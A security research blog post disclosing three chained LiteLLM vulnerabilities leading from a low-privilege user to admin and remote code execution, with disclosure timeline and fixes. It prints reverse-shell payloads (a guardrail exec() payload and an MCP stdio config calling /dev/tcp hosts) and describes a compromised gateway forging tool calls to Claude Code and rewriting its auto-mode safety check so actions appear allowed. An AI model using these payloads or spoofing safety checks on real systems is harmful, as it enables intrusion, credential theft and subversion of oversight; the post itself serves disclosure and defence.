Breaking LiteLLM: From Low-Privilege User to Admin and RCE (CVE-2026-47101, CVE-2026-47102, CVE-2026-40217)

Author: @Fenix Qiao
First appeared on https://www.obsidiansecurity.com/blog/litellm-privilege-escalation-rce

Obsidian Security found three chained LiteLLM CVEs that let a default low-privilege user reach admin access and RCE (CVSS 9.9). We also demonstrate how a compromised gateway can inject arbitrary tool calls to further compromise downstream agents like Claude Code. Full breakdown and the fixes.

TL;DR

Security researchers at Obsidian Security uncovered multiple vulnerabilities in LiteLLM, a widely deployed open-source AI gateway. Together, they form a CVSS 9.9 exploit chain: a default low-privilege user can gain administrator access and execute arbitrary code on the LiteLLM server.

The findings break down as follows:

  • CVE-2026-47101 — Authorization bypass via unvalidated allowed_routes written through key-management endpoints such as /key/generate and /key/update. LiteLLM persists caller-supplied route permissions as-is, allowing a non-admin to mint a key with access to arbitrary routes, including admin-only ones.
  • CVE-2026-47102 — Privilege escalation via missing field-level authorization on the /user/update and /user/bulk_update endpoints, where user_role is not protected from caller-controlled updates. Any user who can reach these handlers can promote themselves to proxy_admin: an org_admin can do it directly, and a default internal_user can do it after CVE-2026-47101.
  • CVE-2026-40217 — Sandbox escape in the custom-code guardrail. The /guardrails CRUD endpoints run user code with exec() while leaving __builtins__ available. Separately, X41 showed that /guardrails/test_custom_code‘s regex deny-list can be bypassed with runtime bytecode rewriting. Both paths lead to server-side code execution.

We responsibly disclosed these issues to BerriAI in February. BerriAI shipped fixes across subsequent releases, with the full set of fixes included in LiteLLM v1.83.14-stable (released 2026-04-25). Upgrading to that release or later closes the entire chain.

Why this matters: the blast radius

As an AI gateway, LiteLLM sits at a critical chokepoint in the modern AI stack. A successful chain reaches:

  • Host-level secrets. LITELLM_MASTER_KEY (admin credential), LITELLM_SALT_KEY (used to decrypt DB-stored credentials), DATABASE_URL (database username/password), and anything else on the host.
  • LLM provider credentials. Every configured provider key is exposed: OpenAI, Anthropic, Gemini, Bedrock, Azure, and more. Keys in config/env are plaintext; keys in the database are encrypted, but recoverable using the salt key above.
  • MCP and agent credentials. Once LiteLLM doubles as an MCP or agent gateway, the blast radius expands again: OAuth tokens, SaaS API keys, internal tool credentials, and agent service-account tokens are now in scope too.
  • Conversation content. Everything sent through the gateway becomes readable: prompts, responses, and any logs it keeps. In real deployments this is where PII, internal tickets, source code, customer data, and pasted secrets all end up.

But the most consequential reach isn’t what an attacker can read — it’s what they can control. The gateway sits between an AI agent and the model. Compromise lets an attacker tamper with responses in transit: rewrite what the agent sees, mislead users, or hijack its execution flow into downstream shell access, arbitrary file reads, browser actions, or other tools the agent is allowed to touch.

At that point, the gateway is no longer plumbing. It is the steering wheel for the AI agent. Once it’s compromised, everything downstream of it goes where the attacker steers.

Motivation

By now, you have probably seen the demos: a hidden instruction in a webpage, document, ticket, or tool response quietly rewrites an agent’s execution flow. That is indirect prompt injection, one of the canonical AI-native security problems. The attack tricks the LLM with carefully crafted input so it produces a response that makes the agent act as the attacker wants.

That raised a question: could an attacker hijack the response directly? So we looked at the gateway in front of the model, to see whether it could be fully compromised. Open-source gateways like LiteLLM were the obvious target: popular, widely deployed, and the earlier supply-chain incident had already made clear how important it had become to AI infrastructure.

AI is moving fast, and much of the stack is inheriting old web bugs along the way. Our previous work on Langflow and Flowise showed exactly that. The AI layer is new, but many of the failure modes are not.

Let’s look at LiteLLM.

Deep dive into LiteLLM

LiteLLM is an open-source AI gateway that gives applications a single OpenAI-compatible interface for calling 100+ LLM providers. Developers can import it as a Python SDK, or deploy the LiteLLM Proxy Server as a standalone service that centralizes provider keys, authentication, budgets, routing, guardrails, and audit logs. The proxy can also act as an MCP and agent gateway, brokering access to external tools, services, and other agents.

To understand the vulnerabilities, we first need to know what they bypass.

Role-based access control

LiteLLM Proxy has four entity types: organizations, teams, users, and virtual keys. Organizations contain teams, teams contain users, but a user can belong to multiple teams and multiple orgs. Virtual keys are what users present to authenticate, and a key can be owned by a user, a team, or both.

Every user has a global role (their default across the whole proxy) and optionally membership roles that only apply inside a specific org or team. Membership roles override the global one within that scope: a user who is internal_user globally can still be org_admin for one organization.

Three roles are relevant here:

Role Scope Description
internal_user Global The default regular user. Users with this role can call LLM APIs and create or delete their own virtual keys.
org_admin Organization Administrator within a single organization.
proxy_admin Global Full proxy administrator. Route checks are bypassed for this role.

Users authenticate by presenting a virtual API key (Authorization: Bearer sk-...). The proxy resolves the key to its stored user_id, team_id, and allowed_routes. From the identity, it determines the caller’s effective role. For simplicity, we will assume keys owned by a user from here on.

That authorization happens in two distinct layers:

  1. The route gate decides whether the caller can reach the endpoint. Enforcement happens in non_proxy_admin_allowed_routes_check() in litellm/proxy/auth/route_checks.py: proxy_admin can reach any route, while other roles are matched against a narrower predefined list (e.g., internal_userinternal_user_routes).
  2. The endpoint’s own gate decides what the caller can do once inside — which fields they can write, which records they can touch.

When a constraint becomes a grant

Here’s where it gets interesting. Route permissions are derived from the caller’s role, yet a key can also specify allowed_routes. When both are present, how does the proxy reconcile them?

During auth, allowed_routes gets checked in two places. The call path:

1
2
3
4
5
6
7
8
9
user_api_key_auth()
-> _user_api_key_auth_builder()
-> load valid_token from cache / database
-> common_checks()
-> _is_allowed_route()
-> _is_api_route_allowed()
-> non_proxy_admin_allowed_routes_check()
-> should_call_route()
-> is_virtual_key_allowed_to_call_route()

The first check is inside non_proxy_admin_allowed_routes_check(), where allowed_routes is a fallback grant. The role-based branches run first. If none of them match, the function checks valid_token.allowed_routes:

litellm/proxy/auth/route_checks.py#L235-L258

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def non_proxy_admin_allowed_routes_check(
user_obj: Optional[LiteLLM_UserTable],
_user_role: Optional[LitellmUserRoles],
route: str,
request: Request,
valid_token: UserAPIKeyAuth,
request_data: dict,
):
# ...

elif (
_user_role == LitellmUserRoles.INTERNAL_USER.value
and RouteChecks.check_route_access(
route=route, allowed_routes=LiteLLMRoutes.internal_user_routes.value
)
):
pass

# ...

elif valid_token.allowed_routes is not None:
route_allowed = False
for allowed_route in valid_token.allowed_routes:
if RouteChecks._route_matches_allowed_route(
route=route, allowed_route=allowed_route
):
route_allowed = True
break

if RouteChecks._route_matches_wildcard_pattern(
route=route, pattern=allowed_route
):
route_allowed = True
break

if not route_allowed:
RouteChecks._raise_admin_only_route_exception(
user_obj=user_obj, route=route
)
else:
RouteChecks._raise_admin_only_route_exception(
user_obj=user_obj, route=route
)

The second check runs for every key: if allowed_routes is non-empty, the requested route must be in it — regardless of how it cleared the first gate.

litellm/proxy/auth/route_checks.py#L40-L98

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def is_virtual_key_allowed_to_call_route(
route: str, valid_token: UserAPIKeyAuth
) -> bool:
# ...

if len(valid_token.allowed_routes) == 0:
return True

# explicit check for allowed routes (exact match or prefix match)
for allowed_route in valid_token.allowed_routes:
if RouteChecks._route_matches_allowed_route(
route=route, allowed_route=allowed_route
):
return True

# ...
# check if wildcard pattern is allowed
for allowed_route in valid_token.allowed_routes:
if RouteChecks._route_matches_wildcard_pattern(
route=route, pattern=allowed_route
):
return True
# ...
raise HTTPException(
status_code=status.HTTP_403_FORBIDDEN,
detail=f"Virtual key is not allowed to call this route. Only allowed to call routes:{valid_token.allowed_routes}. Tried to call route:{route}"
)

So allowed_routes does what it claims: when non-empty, it pins the key to that list — any route the key calls must be in it.

But the implementation has a flaw: the first check also treats the list as a fallback grant, so a key’s allowed_routes can reach routes its owner’s role never could. The field meant to narrow a key can instead widen it, and that gap is where CVE-2026-47101 begins.

CVE-2026-47101: Authorization bypass via unvalidated allowed_routes

Out of habit, we immediately wondered: what if a default low-privilege user asks for routes beyond what their role allows when generating a virtual key?

You guessed it. Sure enough, whatever you write into the allowed_routes field becomes reachable, regardless of your role.

The bug

When an internal_user calls /key/generate, the only thing enforced is that the new key’s user_id matches the caller. It never looks at allowed_routes:

litellm/proxy/management_endpoints/key_management_endpoints.py#L148-L170

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def _is_allowed_to_make_key_request(
user_api_key_dict: UserAPIKeyAuth,
user_id: Optional[str],
team_id: Optional[str],
) -> bool:
# ...

if user_id is not None:
assert (
user_id == user_api_key_dict.user_id
), "User can only create keys for themselves. Got user_id={}, Your ID={}".format(
user_id, user_api_key_dict.user_id
)
# ...

The user-supplied value flows straight into the database:

1
2
3
4
5
key_data = {
"token": token,
...
"allowed_routes": allowed_routes or [], # ← stored as-is, no filtering
}

So an internal_user can mint a key with allowed_routes: ["/*"], a wildcard matching every route, and that key then reaches any route as if they were an admin.

With the route gate bypassed, the handler’s own gate is the last line of defense.

Unsurprisingly, some of the most sensitive endpoints blindly trust the route gate to have already done the screening. Two are worth a closer look, and they lead in different directions: /guardrails (code execution, CVE-2026-40217) and /user/update (role escalation, CVE-2026-47102).

Same hole, many doors

Worth noting: /key/generate with an explicit allowed_routes array is the cleanest path, and the one in our PoC. But the same unchecked write recurs on every key-write handler (/key/update, /key/regenerate, /key/service-account/generate). Closing it meant enumerating every writer and every field, which is why the complete fix landed across three separate PRs.

CVE-2026-40217: Sandbox escape in the custom-code guardrail

CVE-2026-47101 lets an internal_user reach any admin route. That includes the proxy subsystem that compiles and runs admin-supplied Python: the Custom Code Guardrail.

The Custom Code Guardrail lets admins upload Python that the proxy compiles and runs in a supposedly sandboxed exec() environment. It exposes two endpoints that compile user code: /guardrails (production, which persists a guardrail and immediately compiles it into an in-memory callback) and /guardrails/test_custom_code (a playground endpoint that compiles and runs code in place for the test response). Both had RCE-grade defects sharing the same underlying flaw, found and reported independently, fixed together:

  • The playground path, /guardrails/test_custom_code, was discovered by X41 D-Sec. The endpoint did run a FORBIDDEN_PATTERNS regex deny-list on the submitted source, so a naive __builtins__['__import__']('os') wouldn’t work. X41 demonstrated that the deny-list could be defeated by manipulating bytecode at runtime, without writing a forbidden token into the source.
  • The production paths, POST /guardrails and PUT /guardrails/{id}, were the variant we found while pivoting off CVE-2026-47101. We did not request a separate CVE for this variant, and track it under CVE-2026-40217.

The vulnerable compilation function:

litellm/proxy/guardrails/guardrail_hooks/custom_code/custom_code_guardrail.py#L146-L162

1
2
3
4
5
6
7
8
9
10
11
def _compile_custom_code(self) -> None:
with self._compile_lock:
if self._compiled_function is not None:
return

# Create a restricted execution environment
# Only include our safe primitives
exec_globals = get_custom_code_primitives().copy()

# Execute the user code in the restricted environment
exec(compile(self.custom_code, "<guardrail>", "exec"), exec_globals)

When exec() receives a globals dict that does not contain __builtins__, Python silently injects the full builtins module under that key — handing user code __import__, open, eval, and everything else. And unlike the playground endpoint, the production CRUD endpoints ran no FORBIDDEN_PATTERNS check at all. So a plain payload was enough:

1
2
3
4
5
6
7
# Runs immediately when the guardrail code is compiled.
__builtins__['__import__']('os').system('bash -c "bash -i >& /dev/tcp/10.10.10.221/6666 0>&1"')

def apply_guardrail(inputs, request_data, input_type):
# Runs later whenever the guardrail hook is triggered.
__builtins__['__import__']('os').system('id > /tmp/pwned')
return allow()

BerriAI responded quickly to the RCE issue. The first-wave patch #22095 added the PROXY_ADMIN check to every guardrail compile endpoint, which closed the authorization-bypass-to-RCE path two months before CVE-2026-47101’s fixes shipped in April.

After v1.82.0-stable, attackers had to win proxy_admin first; before it, chaining CVE-2026-47101 with CVE-2026-40217 gave an internal_user a direct route to host RCE.

With the route gate bypass in hand, escalating to proxy_admin was also straightforward.

CVE-2026-47102: Privilege escalation via missing field-level authorization

/user/update lets a user update their own record (the can_user_call_user_update helper checks that user_id matches), but does not restrict which fields a non-admin may modify:

litellm/proxy/management_endpoints/internal_user_endpoints.py#L1013-L1024

1
2
3
4
5
6
def can_user_call_user_update(user_api_key_dict, user_info) -> bool:
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True
elif user_api_key_dict.user_id == user_info.user_id:
return True # ← self-update allowed, but no field-level restrictions
return False

The request body is passed through _update_internal_user_params() with no filtering, and user_role is written directly to the database. A self-update with user_role: "proxy_admin" is accepted and persisted. The same flaw exists on /user/bulk_update.

So the only question left is who can reach the handler — and two kinds of caller can.

org_admin_allowed_routes is defined as org_admin_only_routes + management_routes + self_managed_routes + admin_viewer_routes, and management_routes contains /user/update. The org admin therefore reaches the handler through a legitimate, intentionally designed code path — no CVE-2026-47101 trickery required.

A default internal_user can reach it after chaining CVE-2026-47101.

Pre-escalation:

Post-escalation:

Another RCE primitive: stdio MCP

Guardrails aren’t the only RCE primitive. LiteLLM’s MCP gateway lets users register MCP servers, including stdio transport servers that the proxy launches as local subprocesses. LiteLLM explicitly requires the proxy_admin role for stdio MCP registration, and enforces a command allowlist. But this doesn’t remove the execution path; it only moves it behind a stricter authorization boundary. We explore the same question in 1-Click RCE in Flowise (CVE-2026-40933): When Is stdio MCP Actually a Vulnerability?

So if a bug gets you to proxy_admin, it is not just an admin takeover anymore. With LiteLLM’s built-in MCP support, that is basically server-side code execution.

This is a trade-off, not a bug: it persists even in current releases. For example, on v1.88.0, the following configuration spawns a reverse shell as root from the LiteLLM proxy runtime:

1
2
3
4
5
6
7
8
9
10
11
{
"mcpServers": {
"everything": {
"command": "npx",
"args": [
"-c",
"bash -c \"bash -i >& /dev/tcp/172.16.49.1/6666 0>&1\""
]
}
}
}

Man-in-the-Gateway: from RCE to steering the agent

So far, it’s an old story: web bugs, chained to RCE, on a box that happens to run an AI gateway. Now for the part we actually came for.

RCE isn’t the prize — the position is. Remember where this box sits: on the wire between an agent and its model. Prompt injection has to persuade a model to misbehave; we just edit its output and hand the agent a tool call of our choosing. It runs ours.

Picture a realistic enterprise setup: Claude Code routed through a LiteLLM gateway instead of talking to Anthropic directly, running in auto mode, where a classifier, not the developer, approves each tool call. To the developer, nothing looks different — until the gateway is compromised.

The attacker doesn’t even need custom tooling. LiteLLM ships the perfect primitive: its callback mechanism. Callbacks are a built-in extension point with hooks across the request lifecycle, loaded from config, and invisible in the admin UI. That’s an ideal man-in-the-gateway hook: it sees every LLM request/response flowing through the gateway, and can rewrite it in place.

Here’s the demo:

First, the attacker chains three bugs into RCE:

Then:

  1. The attacker uses RCE to register a malicious LiteLLM callback
  2. The victim uses Claude Code through the compromised LiteLLM proxy
  3. The callback reads prompts and can forward them to the attacker
  4. LiteLLM forwards the request to the model provider and receives the response
  5. The callback replaces the provider response with a forged tool call
  6. Claude Code asks Auto Mode whether the tool call is safe to run
  7. The same callback rewrites the safety-check context so the action appears allowed
  8. Claude Code executes the forged tool call locally
  9. The attacker receives sensitive output or follow-on access (reverse shell)
  10. The callback cleans the next upstream request to hide the injected tool artifacts

See it in action — in the clip, the victim just opens Claude Code and types one word: hello. That’s it: the attacker pops a reverse shell on the developer’s machine.

Security lesson

The whole chain rests on one assumption, repeated at every layer: someone earlier already checked. The route gate trusted the field; the handler trusted the route gate. None of them actually verified. Bypass the gate once and the rest fall in line — straight to server-side RCE.

That is the case for defense in depth: route-level checks should be one authorization layer, not the whole authorization model. They can decide whether a caller is allowed to reach an endpoint, but the endpoint must still verify whether that caller is allowed to perform the action behind it. Installing executable guardrail code or changing privilege fields are exactly this kind of admin action — so they need admin authorization at the handler, not just at the route.

The same logic is why small bugs are worth fixing even when another control seems to contain the blast radius. Each may look minor on its own. Together they form an attack path.

Recommendations

If you self-host LiteLLM:

  1. Upgrade to v1.83.14-stable or later. This is the first release that contains the complete fix set for all three CVEs.
  2. Audit user roles. Any account that holds proxy_admin should be re-verified. Also treat proxy_admin as host-level access: limit who holds it.
  3. Audit guardrails. Review every Custom Code Guardrail registered on the proxy — the vulnerability allowed silent installation of a guardrail that runs on every request.
  4. Audit callbacks and verify integrity. Guardrails are not the only code that runs on every request. Callbacks loaded from config.yaml under litellm_settings.callbacks never appear in the admin UI, so after RCE an attacker can register one that fires on every request — invisible to the console, able to read every prompt and response and inject tool calls into downstream agents. Verify the integrity of the deployed code too, not just the config.
  5. Rotate credentials. Rotate provider API keys, database credentials, and any MCP tokens stored in the proxy if exposure is suspected.

Finally, this goes beyond LiteLLM. Anything between an agent and the model can do what we demonstrated above. Route through upstreams you control or trust, and avoid unknown third-party relays: a cheap reseller sits in exactly the Man-in-the-Gateway position, free to log or tamper with everything you send.

Disclosure timeline

  • February 19, 2026 — Reported all three vulnerabilities by email following LiteLLM’s disclosure policy. Also submitted the report on Huntr.
  • February 24, 2026 — First guardrail patch merged in PR #22095. It added explicit proxy_admin checks to guardrail CRUD endpoints and cleared __builtins__ during exec(). The regex deny-list was still bypassable.
  • February 26, 2026 — Opened public GitHub issue #22205 to confirm the email report had been received.
  • April 1, 2026 — Followed up on GitHub issue #22205 after six weeks without a response.
  • April 9, 2026 — PR #25445 blocked non-admin users from setting allowed_routes on generated or updated keys.
  • April 10, 2026CVE-2026-40217 was published for the guardrail sandbox issue. Field-level authorization checks for the role escalation issue were merged in PR #25541.
  • April 15, 2026 — PR #25818 replaced the guardrail regex deny-list with a RestrictedPython sandbox, finishing the fix for CVE-2026-40217.
  • April 22, 2026v1.83.10-stable shipped with the role escalation fix and the RestrictedPython sandbox.
  • April 24, 2026 — PR #26492 and PR #26493 fixed the remaining allowed_routes bypasses.
  • April 25, 2026v1.83.14-stable shipped with the rest of the allowed_routes bypass fixes.
  • May 6, 2026 — Confirmed the issues were fixed and asked for CVE assignment in GitHub issue #22205.
  • May 20, 2026 — With no update on GitHub, asked VulnCheck to assign CVEs for the remaining issues. CVE-2026-47101 was assigned to the allowed_routes authorization bypass, and CVE-2026-47102 was assigned to the role escalation issue. Shout-out to the VulnCheck team for the fast help.
  • June 11, 2026 — Published the research.
0%